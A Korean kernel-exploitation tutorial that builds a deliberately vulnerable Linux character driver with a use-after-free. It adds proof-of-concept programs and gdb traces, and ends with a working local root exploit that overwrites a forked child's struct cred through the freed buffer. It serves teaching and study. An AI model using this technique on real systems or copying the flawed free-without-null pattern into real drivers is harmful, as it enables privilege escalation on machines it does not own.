Excuse the ads! We need some help to keep our site up.
void *kmalloc(size_t size, gfp_t flags); |
void kfree(const void * objp); |
KFREE 분기문을 이용하여 kfree() 함수를 호출합니다.
|
info.buf 변수에 저장된 값이 0이 아닐 경우 다음 코드를 실행합니다.
if(info.buf)
유저 프로그램으로 부터 전달받은 info.size 값이 count 값 보다 큰 경우 다음 코드를 실행합니다.
if(info.size > count)
copy_to_user() 함수를 이용하여 커널 공간(info.buf)의 데이터를 사용자 공간(buf)으로 복사합니다.
copy_to_user(buf, info.buf, count)
#include <linux/init.h> #include <linux/module.h> #include <linux/types.h> #include <linux/kernel.h> #include <linux/fs.h> #include <linux/cdev.h> #include <linux/sched.h> #include <linux/device.h> #include <linux/slab.h> #include <asm/current.h> #include <linux/uaccess.h> #include <linux/cred.h> #include "chardev.h" MODULE_LICENSE("Dual BSD/GPL"); #define DRIVER_NAME "chardev" static const unsigned int MINOR_BASE = 0; static const unsigned int MINOR_NUM = 1; static unsigned int chardev_major; static struct cdev chardev_cdev; static struct class *chardev_class = NULL; static int chardev_open(struct inode *, struct file *); static int chardev_release(struct inode *, struct file *); static ssize_t chardev_read(struct file *, char *, size_t, loff_t *); static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *); static long chardev_ioctl(struct file *, unsigned int, unsigned long); struct file_operations s_chardev_fops = { .open = chardev_open, .release = chardev_release, .read = chardev_read, .write = chardev_write, .unlocked_ioctl = chardev_ioctl, }; static int chardev_init(void) { int alloc_ret = 0; int cdev_err = 0; int minor = 0; dev_t dev; printk("The chardev_init() function has been called.\n"); alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME); if (alloc_ret != 0) { printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret); return -1; } //Get the major number value in dev. chardev_major = MAJOR(dev); dev = MKDEV(chardev_major, MINOR_BASE); //initialize a cdev structure cdev_init(&chardev_cdev, &s_chardev_fops); chardev_cdev.owner = THIS_MODULE; //add a char device to the system cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM); if (cdev_err != 0) { printk(KERN_ERR "cdev_add = %d\n", alloc_ret); unregister_chrdev_region(dev, MINOR_NUM); return -1; } chardev_class = class_create(THIS_MODULE, "chardev"); if (IS_ERR(chardev_class)) { printk(KERN_ERR "class_create\n"); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); return -1; } device_create(chardev_class, NULL, MKDEV(chardev_major, minor), NULL, "chardev%d", minor); return 0; } static void chardev_exit(void) { int minor = 0; dev_t dev = MKDEV(chardev_major, MINOR_BASE); printk("The chardev_exit() function has been called.\n"); device_destroy(chardev_class, MKDEV(chardev_major, minor)); class_destroy(chardev_class); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); } static struct ioctl_info info; static int chardev_open(struct inode *inode, struct file *file) { printk("The chardev_open() function has been called.\n"); printk("Address of &info.buf : %p\n",&info.buf); info.buf=0; return 0; } static int chardev_release(struct inode *inode, struct file *file) { printk("The chardev_close() function has been called.\n"); return 0; } static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { printk("The chardev_write() function has been called."); if(info.buf){ if(info.size > count){ if(copy_from_user(info.buf, buf, count) != 0){ return -EFAULT; } } } return count; } static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { printk("The chardev_read() function has been called.\n"); if (info.buf){ if(info.size > count){ if(copy_to_user(buf, info.buf, count) != 0){ return -EFAULT; } } } return count; } static long chardev_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { printk("The chardev_ioctl() function has been called.\n"); switch (cmd) { case KMALLOC: if(!info.buf){ printk("Address of info.buf : %p\n",info.buf); info.size = (size_t)arg; info.buf = (char *)kmalloc(info.size, GFP_KERNEL); if (!info.buf){ printk("Error!\n"); }else{ printk("Address of info.buf : %p\n",info.buf); printk("Success!\n"); } } break; case KFREE: if(info.buf){ printk("Call the kfree(). info.buf %p\n",info.buf); kfree(info.buf); } break; default: printk(KERN_WARNING "unsupported command %d\n", cmd); return -EFAULT; } return 0; } module_init(chardev_init); module_exit(chardev_exit); |
#ifndef CHAR_DEV_H_ #define CHAR_DEV_H_ #include <linux/ioctl.h> struct ioctl_info{ unsigned long size; char *buf; }; #define IOCTL_MAGIC 'G' #define SET_DATA _IOW(IOCTL_MAGIC, 2 ,struct ioctl_info) #define GET_DATA _IOR(IOCTL_MAGIC, 3 ,struct ioctl_info) #define KMALLOC _IOW(IOCTL_MAGIC, 4, size_t) #define KFREE _IO(IOCTL_MAGIC, 0) #endif |
obj-m = chardev.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean |
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ make make -C /lib/modules/4.4.0-31-generic/build M=/home/lazenca0x0/Kernel/Exploit/UAF modules make[1]: Entering directory `/usr/src/linux-headers-4.4.0-31-generic' CC [M] /home/lazenca0x0/Kernel/Exploit/UAF/chardev.o Building modules, stage 2. MODPOST 1 modules CC /home/lazenca0x0/Kernel/Exploit/UAF/chardev.mod.o LD [M] /home/lazenca0x0/Kernel/Exploit/UAF/chardev.ko make[1]: Leaving directory `/usr/src/linux-headers-4.4.0-31-generic' lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ |
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ |
다음 코드를 이용하여 "UAF" 취약성을 확인할 수 있습니다.
open() 함수를 이용하여 "/dev/chardev0" 파일을 열어, fd1변수에 파일 디스크립트를 정보를 저장합니다.
ioctl() 함수를 이용하여 커널에 128 byte의 Heap 메모리를 할당받습니다.
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/ioctl.h> #include "chardev.h" #define HEAP_SIZE 128 int main() { int fd1,i,j; char info[HEAP_SIZE]; if ((fd1 = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } if (ioctl(fd1, KMALLOC, HEAP_SIZE) < 0){ printf("Error : SET_DATA.\n"); } ioctl(fd1, KFREE); memset(info, 0, HEAP_SIZE); read(fd1,info,HEAP_SIZE - 1); for (i = 0; i < 8; i++) { for (j = 0; j < 16; j++) printf("%02x ", info[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", info[i*16+j] & 0xff); printf("\n"); } if (close(fd1) != 0){ printf("Cannot close.\n"); } return 0; } |
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ sudo cat /proc/kallsyms |grep chardev ffffffffc0199000 t chardev_release [chardev] ffffffffc0199020 t chardev_open [chardev] ffffffffc019b480 b info [chardev] ffffffffc0199060 t chardev_write [chardev] ffffffffc01990c0 t chardev_read [chardev] ffffffffc0199120 t chardev_ioctl [chardev] ffffffffc0199210 t chardev_init [chardev] ffffffffc019b4a0 b chardev_cdev [chardev] ffffffffc019b508 b chardev_major [chardev] ffffffffc019b480 b __key.25752 [chardev] ffffffffc019b490 b chardev_class [chardev] ffffffffc0199350 t chardev_exit [chardev] ffffffffc019b100 d __this_module [chardev] ffffffffc0199350 t cleanup_module [chardev] ffffffffc0199210 t init_module [chardev] ffffffffc019b000 d s_chardev_fops [chardev] lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ |
다음과 같이 breakpointer를 설정합니다.
kmalloc() 함수 호출 전 : 0xffffffffc01991c5
kmalloc() 함수 호출 후 :0xffffffffc01991ca
kfree() 함수 호출 전 : 0xffffffffc019919d
kfree() 함수 호출 후 : 0xffffffffc01991a2
copy_to_user() 함수 호출 전 : 0xffffffffc0199102
copy_to_user() 함수 호출 후 : 0xffffffffc0199107
0x0000000001000200 in ?? () (gdb) c Continuing. ^C Program received signal SIGINT, Interrupt. native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50 50 in /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h (gdb) x/50i 0xffffffffc0199120 0xffffffffc0199120: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc0199125: push rbp 0xffffffffc0199126: xor eax,eax ... 0xffffffffc019917c: mov rsi,QWORD PTR [rip+0x2305] # 0xffffffffc019b488 0xffffffffc0199183: test rsi,rsi 0xffffffffc0199186: je 0xffffffffc0199175 0xffffffffc0199188: mov rdi,0xffffffffc019a118 0xffffffffc019918f: xor eax,eax 0xffffffffc0199191: call 0xffffffff81180972 <printk> 0xffffffffc0199196: mov rdi,QWORD PTR [rip+0x22eb] # 0xffffffffc019b488 0xffffffffc019919d: call 0xffffffff811dd600 <kfree> 0xffffffffc01991a2: xor eax,eax 0xffffffffc01991a4: jmp 0xffffffffc0199166 0xffffffffc01991a6: xor esi,esi 0xffffffffc01991a8: mov rdi,0xffffffffc019a1b1 0xffffffffc01991af: xor eax,eax 0xffffffffc01991b1: call 0xffffffff81180972 <printk> 0xffffffffc01991b6: mov esi,0x24000c0 0xffffffffc01991bb: mov rdi,r12 0xffffffffc01991be: mov QWORD PTR [rip+0x22bb],r12 # 0xffffffffc019b480 0xffffffffc01991c5: call 0xffffffff811dcbe0 <__kmalloc> 0xffffffffc01991ca: test rax,rax 0xffffffffc01991cd: mov QWORD PTR [rip+0x22b4],rax # 0xffffffffc019b488 (gdb) b *0xffffffffc01991c5 Breakpoint 1 at 0xffffffffc01991c5 (gdb) b *0xffffffffc01991ca Breakpoint 2 at 0xffffffffc01991ca (gdb) b *0xffffffffc019919d Breakpoint 3 at 0xffffffffc019919d (gdb) b *0xffffffffc01991a2 Breakpoint 4 at 0xffffffffc01991a2 (gdb) x/30i 0xffffffffc01990c0 0xffffffffc01990c0: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc01990c5: push rbp 0xffffffffc01990c6: xor eax,eax 0xffffffffc01990c8: mov rdi,0xffffffffc019a0b8 ... 0xffffffffc01990fd: mov edx,ebx 0xffffffffc01990ff: mov rdi,r12 0xffffffffc0199102: call 0xffffffff813e09e0 <_copy_to_user> 0xffffffffc0199107: test rax,rax 0xffffffffc019910a: je 0xffffffffc01990f5 0xffffffffc019910c: mov rax,0xfffffffffffffff2 0xffffffffc0199113: jmp 0xffffffffc01990f8 0xffffffffc0199115: data16 nop WORD PTR cs:[rax+rax*1+0x0] 0xffffffffc0199120: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc0199125: push rbp (gdb) b *0xffffffffc0199102 Breakpoint 5 at 0xffffffffc0199102 (gdb) b *0xffffffffc0199107 Breakpoint 6 at 0xffffffffc0199107 (gdb) c Continuing. |
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./PoC |
Breakpoint 1, 0xffffffffc01991c5 in ?? () (gdb) x/2i $rip => 0xffffffffc01991c5: call 0xffffffff811dcbe0 <__kmalloc> 0xffffffffc01991ca: test rax,rax (gdb) i r rdi rsi rdi 0x80 128 rsi 0x24000c0 37748928 (gdb) c Continuing. Breakpoint 2, 0xffffffffc01991ca in ?? () (gdb) i r rax rax 0xffff880038074200 -131940455333376 (gdb) c Continuing. |
Breakpoint 3, 0xffffffffc019919d in ?? () (gdb) x/i $rip => 0xffffffffc019919d: call 0xffffffff811dd600 <kfree> (gdb) i r rdi rdi 0xffff880038074200 -131940455333376 (gdb) x/16gx 0xffff880038074200 0xffff880038074200: 0xffff880038075b00 0x0000000000000000 0xffff880038074210: 0x0000000000000000 0x0000000000000000 0xffff880038074220: 0x0000000000000000 0x0000000000000000 0xffff880038074230: 0x0000000000000000 0x0000000000000000 0xffff880038074240: 0x0000000000000000 0x0000000000000000 0xffff880038074250: 0x0000000000000000 0x0000000000000000 0xffff880038074260: 0x0000000000000058 0x0000000000000000 0xffff880038074270: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. Breakpoint 4, 0xffffffffc01991a2 in ?? () (gdb) x/16gx 0xffff880038074200 0xffff880038074200: 0xffff880038075100 0x0000000000000000 0xffff880038074210: 0x0000000000000000 0x0000000000000000 0xffff880038074220: 0x0000000000000000 0x0000000000000000 0xffff880038074230: 0x0000000000000000 0x0000000000000000 0xffff880038074240: 0x0000000000000000 0x0000000000000000 0xffff880038074250: 0x0000000000000000 0x0000000000000000 0xffff880038074260: 0x0000000000000058 0x0000000000000000 0xffff880038074270: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. |
다음과 같이 UAF 취약성을 확인할 수 있습니다.
_copy_to_user() 함수의 인자 값으로 해제된 Heap 영역의 시작 주소, User 프로그램의 메모리 주소가 전달 됩니다.
즉, 이로 인해 해제된 메모리 영역의 값을 읽고, chardev_write 함수를 이용하여 값을 쓸 수 있게 됩니다.
Breakpoint 5, 0xffffffffc0199102 in ?? () (gdb) x/i $rip => 0xffffffffc0199102: call 0xffffffff813e09e0 <_copy_to_user> (gdb) i r rdi rsi rdi 0x7ffee90494c0 140732807812288 rsi 0xffff880038074200 -131940455333376 (gdb) x/16gx 0x7ffee90494c0 0x7ffee90494c0: 0x0000000000000000 0x0000000000000000 0x7ffee90494d0: 0x0000000000000000 0x0000000000000000 0x7ffee90494e0: 0x0000000000000000 0x0000000000000000 0x7ffee90494f0: 0x0000000000000000 0x0000000000000000 0x7ffee9049500: 0x0000000000000000 0x0000000000000000 0x7ffee9049510: 0x0000000000000000 0x0000000000000000 0x7ffee9049520: 0x0000000000000000 0x0000000000000000 0x7ffee9049530: 0x0000000000000000 0x0000000000000000 (gdb) x/16gx 0xffff880038074200 0xffff880038074200: 0xffff880038074e80 0x0000000000000000 0xffff880038074210: 0x0000000000000000 0x0000000000000000 0xffff880038074220: 0x0000000000000000 0x0000000000000000 0xffff880038074230: 0x0000000000000000 0x0000000000000000 0xffff880038074240: 0x0000000000000000 0x0000000000000000 0xffff880038074250: 0x0000000000000000 0x0000000000000000 0xffff880038074260: 0x0000000000000058 0x0000000000000000 0xffff880038074270: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. Breakpoint 6, 0xffffffffc0199107 in ?? () (gdb) x/16gx 0x7ffee90494c0 0x7ffee90494c0: 0xffff880038074e80 0x0000000000000000 0x7ffee90494d0: 0x0000000000000000 0x0000000000000000 0x7ffee90494e0: 0x0000000000000000 0x0000000000000000 0x7ffee90494f0: 0x0000000000000000 0x0000000000000000 0x7ffee9049500: 0x0000000000000000 0x0000000000000000 0x7ffee9049510: 0x0000000000000000 0x0000000000000000 0x7ffee9049520: 0x0000000000000058 0x0000000000000000 0x7ffee9049530: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. |
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./PoC 80 4e 07 38 00 88 ff ff 00 00 00 00 00 00 00 00 | ?N8??? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | X 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ |
|
|
(gdb) p sizeof(struct cred) $1 = 168 (gdb) |
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/ioctl.h> #include "chardev.h" int main() { int fd1,fd2; if ((fd1 = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } if (ioctl(fd1, KMALLOC, 168) < 0){ printf("Error : SET_DATA.\n"); } ioctl(fd1, KFREE); int pid = fork(); printf("PID %d\n",pid); if(pid < 0){ puts("[*] fork error!"); exit(0); }else if(pid == 0){ char zeros[30] = {0}; write(fd1, zeros, 28); if(getuid() == 0){ puts("[+] root now."); system("/bin/sh"); exit(0); }else{ printf("UID : %d\n",getuid()); } }else{ wait(1); } if (close(fd1) != 0){ printf("Cannot close.\n"); } return 0; } |
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./exploit-1 PID 3236 PID 0 [+] root now. # id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(lazenca0x0) # |
(gdb) c Continuing. ^C Program received signal SIGINT, Interrupt. native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50 50 in /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h (gdb) x/30i 0xffffffffc0199060 0xffffffffc0199060: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc0199065: push rbp 0xffffffffc0199066: mov rdi,0xffffffffc019a088 0xffffffffc019906d: xor eax,eax 0xffffffffc019906f: mov rbp,rsp 0xffffffffc0199072: push r12 0xffffffffc0199074: mov r12,rsi 0xffffffffc0199077: push rbx 0xffffffffc0199078: mov rbx,rdx 0xffffffffc019907b: call 0xffffffff81180972 <printk> 0xffffffffc0199080: mov rdi,QWORD PTR [rip+0x2401] # 0xffffffffc019b488 0xffffffffc0199087: test rdi,rdi 0xffffffffc019908a: je 0xffffffffc0199095 0xffffffffc019908c: cmp QWORD PTR [rip+0x23ed],rbx # 0xffffffffc019b480 0xffffffffc0199093: ja 0xffffffffc019909d 0xffffffffc0199095: mov rax,rbx 0xffffffffc0199098: pop rbx 0xffffffffc0199099: pop r12 0xffffffffc019909b: pop rbp 0xffffffffc019909c: ret 0xffffffffc019909d: mov edx,ebx 0xffffffffc019909f: mov rsi,r12 0xffffffffc01990a2: call 0xffffffff813e0a10 <_copy_from_user> 0xffffffffc01990a7: test rax,rax 0xffffffffc01990aa: je 0xffffffffc0199095 0xffffffffc01990ac: mov rax,0xfffffffffffffff2 0xffffffffc01990b3: jmp 0xffffffffc0199098 0xffffffffc01990b5: data16 nop WORD PTR cs:[rax+rax*1+0x0] 0xffffffffc01990c0: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc01990c5: push rbp (gdb) b *0xffffffffc01990a2 Breakpoint 7 at 0xffffffffc01990a2 (gdb) b *0xffffffffc01990a7 Breakpoint 8 at 0xffffffffc01990a7 (gdb) c Continuing. |
kmalloc() 함수에 의해 할당받은 Heap 영역의 주소는 0xffff88003a3dc000 입니다.
kfree() 함수에 의해 해당 영역은 해제됩니다.
메모리 영역은 해제되었으나, 전역변수에 저장된 주소 값을 초기화되지 않았기 때문에 UAF 취약성이 발생하게 됩니다.
fork() 함수에 의해 자식 프로세스가 생성되면, 이로 인해 앞에서 해제한 메모리 영역(0xffff88003a3dc000)에 새로운 프로세스의 자격증명 정보가 보관됩니다.
Breakpoint 1, 0xffffffffc01991c5 in ?? () (gdb) i r rdi rsi rdi 0xa8 168 rsi 0x24000c0 37748928 (gdb) c Continuing. Breakpoint 2, 0xffffffffc01991ca in ?? () (gdb) i r rax rax 0xffff88003a3dc000 -131940418207744 (gdb) c Continuing. Breakpoint 3, 0xffffffffc019919d in ?? () (gdb) i r rdi rdi 0xffff88003a3dc000 -131940418207744 (gdb) x/16gx 0xffff88003a3dc000 0xffff88003a3dc000: 0xffff88003a3dcd80 0x0000000000000000 0xffff88003a3dc010: 0x00000000f0000042 0x0000000000000000 0xffff88003a3dc020: 0x0000000000000000 0x0000000100000000 0xffff88003a3dc030: 0x0000000000000000 0x0000000800000001 0xffff88003a3dc040: 0x0000000100000008 0xffffffff8139e9a0 0xffff88003a3dc050: 0xffff8800374fbd56 0x0000000000000000 0xffff88003a3dc060: 0x0000000000000000 0x0000000000000000 0xffff88003a3dc070: 0x0000000100010001 0xffff88003a3dc088 (gdb) c Continuing. Breakpoint 4, 0xffffffffc01991a2 in ?? () (gdb) x/16gx 0xffff88003a3dc000 0xffff88003a3dc000: 0xffff88003a3dcf00 0x0000000000000000 0xffff88003a3dc010: 0x00000000f0000042 0x0000000000000000 0xffff88003a3dc020: 0x0000000000000000 0x0000000100000000 0xffff88003a3dc030: 0x0000000000000000 0x0000000800000001 0xffff88003a3dc040: 0x0000000100000008 0xffffffff8139e9a0 0xffff88003a3dc050: 0xffff8800374fbd56 0x0000000000000000 0xffff88003a3dc060: 0x0000000000000000 0x0000000000000000 0xffff88003a3dc070: 0x0000000100010001 0xffff88003a3dc088 (gdb) c Continuing. Breakpoint 7, 0xffffffffc01990a2 in ?? () (gdb) x/i $rip => 0xffffffffc01990a2: call 0xffffffff813e0a10 <_copy_from_user> (gdb) i r rdi rsi rdi 0xffff88003a3dc000 -131940418207744 rsi 0x7ffc461cd000 140721484779520 (gdb) x/16gx 0xffff88003a3dc000 0xffff88003a3dc000: 0x000003e800000002 0x000003e8000003e8 0xffff88003a3dc010: 0x000003e8000003e8 0x000003e8000003e8 0xffff88003a3dc020: 0x00000000000003e8 0x0000000000000000 0xffff88003a3dc030: 0x0000000000000000 0x0000000000000000 0xffff88003a3dc040: 0x0000003fffffffff 0x0000000000000000 0xffff88003a3dc050: 0x0000000000000000 0xffff880015524c00 0xffff88003a3dc060: 0x0000000000000000 0x0000000000000000 0xffff88003a3dc070: 0x0000000000000000 0xffff8800075db7e0 (gdb) |
(gdb) p *(struct cred*)0xffff88003a3dc000 $4 = {usage = {counter = 2}, uid = {val = 1000}, gid = {val = 1000}, suid = {val = 1000}, sgid = {val = 1000}, euid = {val = 1000}, egid = {val = 1000}, fsuid = {val = 1000}, fsgid = {val = 1000}, securebits = 0, cap_inheritable = {cap = {0, 0}}, cap_permitted = {cap = {0, 0}}, cap_effective = {cap = {0, 0}}, cap_bset = {cap = {4294967295, 63}}, cap_ambient = {cap = {0, 0}}, jit_keyring = 0 '\000', session_keyring = 0xffff880015524c00, process_keyring = 0x0 <irq_stack_union>, thread_keyring = 0x0 <irq_stack_union>, request_key_auth = 0x0 <irq_stack_union>, security = 0xffff8800075db7e0, user = 0xffff8800263a5200, user_ns = 0xffffffff81c44ae0 <init_user_ns>, group_info = 0xffff88001564b5c0, rcu = {next = 0x0 <irq_stack_union>, func = 0x0 <irq_stack_union>}} (gdb) x/16gx 0x7ffc461cd000 0x7ffc461cd000: 0x0000000000000000 0x0000000000000000 0x7ffc461cd010: 0x0000000000000000 0x0000000000000000 0x7ffc461cd020: 0x00000000004002b0 0x2264b4884eba0d00 0x7ffc461cd030: 0x0000000000000000 0x00000000004002b0 0x7ffc461cd040: 0x00000000006c0018 0x00000000004013bc 0x7ffc461cd050: 0x0000000000000000 0x0000000100000000 0x7ffc461cd060: 0x00007ffc461cd128 0x000000000040105e 0x7ffc461cd070: 0x00000000004002b0 0x7a8d8a3fed0b83fc (gdb) x/6gx 0x7ffc461cd000 0x7ffc461cd000: 0x0000000000000000 0x0000000000000000 0x7ffc461cd010: 0x0000000000000000 0x0000000000000000 0x7ffc461cd020: 0x00000000004002b0 0x2264b4884eba0d00 (gdb) i r rdi rsi rdx rdi 0xffff88003a3dc000 -131940418207744 rsi 0x7ffc461cd000 140721484779520 rdx 0x1c 28 (gdb) c Continuing. Breakpoint 8, 0xffffffffc01990a7 in ?? () (gdb) x/16gx 0xffff88003a3dc000 0xffff88003a3dc000: 0x0000000000000000 0x0000000000000000 0xffff88003a3dc010: 0x0000000000000000 0x000003e800000000 0xffff88003a3dc020: 0x00000000000003e8 0x0000000000000000 0xffff88003a3dc030: 0x0000000000000000 0x0000000000000000 0xffff88003a3dc040: 0x0000003fffffffff 0x0000000000000000 0xffff88003a3dc050: 0x0000000000000000 0xffff880015524c00 0xffff88003a3dc060: 0x0000000000000000 0x0000000000000000 0xffff88003a3dc070: 0x0000000000000000 0xffff8800075db7e0 (gdb) p *(struct cred*)0xffff88003a3dc000 $5 = {usage = {counter = 0}, uid = {val = 0}, gid = {val = 0}, suid = {val = 0}, sgid = {val = 0}, euid = {val = 0}, egid = {val = 0}, fsuid = {val = 1000}, fsgid = {val = 1000}, securebits = 0, cap_inheritable = { cap = {0, 0}}, cap_permitted = {cap = {0, 0}}, cap_effective = {cap = {0, 0}}, cap_bset = {cap = {4294967295, 63}}, cap_ambient = {cap = {0, 0}}, jit_keyring = 0 '\000', session_keyring = 0xffff880015524c00, process_keyring = 0x0 <irq_stack_union>, thread_keyring = 0x0 <irq_stack_union>, request_key_auth = 0x0 <irq_stack_union>, security = 0xffff8800075db7e0, user = 0xffff8800263a5200, user_ns = 0xffffffff81c44ae0 <init_user_ns>, group_info = 0xffff88001564b5c0, rcu = {next = 0x0 <irq_stack_union>, func = 0x0 <irq_stack_union>}} (gdb) c Continuing. |
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/ioctl.h> #include "chardev.h" #define HEAP_SIZE 128 int main() { int fd1,fd2,i,j; char info[HEAP_SIZE] = "Hello, Kernel UAF"; if ((fd1 = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } if ((fd2 = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } if (ioctl(fd1, KMALLOC, 168) < 0){ printf("Error : KMALLOC.\n"); } ioctl(fd1, KFREE); if (close(fd1) != 0){ printf("Cannot close.\n"); } memset(info, 0, HEAP_SIZE); read(fd2,info,HEAP_SIZE - 1); for (i = 0; i < 8; i++) { for (j = 0; j < 16; j++) printf("%02x ", info[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", info[i*16+j] & 0xff); printf("\n"); } if (close(fd2) != 0){ printf("Cannot close.\n"); } } |
Breakpoint 1, 0xffffffffc01991c5 in ?? () (gdb) i r rdi rsi rdi 0xa8 168 rsi 0x24000c0 37748928 (gdb) c Continuing. Breakpoint 2, 0xffffffffc01991ca in ?? () (gdb) i r rax rax 0xffff880015525200 -131941037616640 (gdb) c Continuing. Breakpoint 3, 0xffffffffc019919d in ?? () (gdb) i r rdi rdi 0xffff880015525200 -131941037616640 (gdb) c Continuing. Breakpoint 4, 0xffffffffc01991a2 in ?? () (gdb) x/i $rip => 0xffffffffc01991a2: xor eax,eax (gdb) c Continuing. |
Breakpoint 5, 0xffffffffc0199102 in ?? () (gdb) x/i $rip => 0xffffffffc0199102: call 0xffffffff813e09e0 <_copy_to_user> (gdb) i r rdi rsi rdi 0x7ffc948ab2e0 140722800603872 rsi 0xffff880015525200 -131941037616640 (gdb) x/16gx 0x7ffc948ab2e0 0x7ffc948ab2e0: 0x0000000000000000 0x0000000000000000 0x7ffc948ab2f0: 0x0000000000000000 0x0000000000000000 0x7ffc948ab300: 0x0000000000000000 0x0000000000000000 0x7ffc948ab310: 0x0000000000000000 0x0000000000000000 0x7ffc948ab320: 0x0000000000000000 0x0000000000000000 0x7ffc948ab330: 0x0000000000000000 0x0000000000000000 0x7ffc948ab340: 0x0000000000000000 0x0000000000000000 0x7ffc948ab350: 0x0000000000000000 0x0000000000000000 (gdb) x/16gx 0xffff880015525200 0xffff880015525200: 0xffff880015524fc0 0x0000000000000000 0xffff880015525210: 0x00000000f0000042 0x0000000000000000 0xffff880015525220: 0x0000000000000000 0x0000000100000000 0xffff880015525230: 0x0000000000000000 0x0000000800000001 0xffff880015525240: 0x0000000100000008 0xffffffff8139e9a0 0xffff880015525250: 0xffff88001309bd56 0x0000000000000000 0xffff880015525260: 0x0000000000000000 0x0000000000000000 0xffff880015525270: 0x0000000100010001 0xffff880015525288 (gdb) c Continuing. Breakpoint 6, 0xffffffffc0199107 in ?? () (gdb) x/16gx 0x7ffc948ab2e0 0x7ffc948ab2e0: 0xffff880015524fc0 0x0000000000000000 0x7ffc948ab2f0: 0x00000000f0000042 0x0000000000000000 0x7ffc948ab300: 0x0000000000000000 0x0000000100000000 0x7ffc948ab310: 0x0000000000000000 0x0000000800000001 0x7ffc948ab320: 0x0000000100000008 0xffffffff8139e9a0 0x7ffc948ab330: 0xffff88001309bd56 0x0000000000000000 0x7ffc948ab340: 0x0000000000000000 0x0000000000000000 0x7ffc948ab350: 0x0000000100010001 0x00ff880015525288 (gdb) c Continuing. |
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./PoC-2 c0 4f 52 15 00 88 ff ff 00 00 00 00 00 00 00 00 | ?OR??? 42 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 | B? 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 | 00 00 00 00 00 00 00 00 01 00 00 00 08 00 00 00 | 08 00 00 00 01 00 00 00 a0 e9 39 81 ff ff ff ff |??9????? 56 bd 09 13 00 88 ff ff 00 00 00 00 00 00 00 00 | V? ??? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 00 01 00 01 00 00 00 88 52 52 15 00 88 ff 00 | ?RR?? lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ |
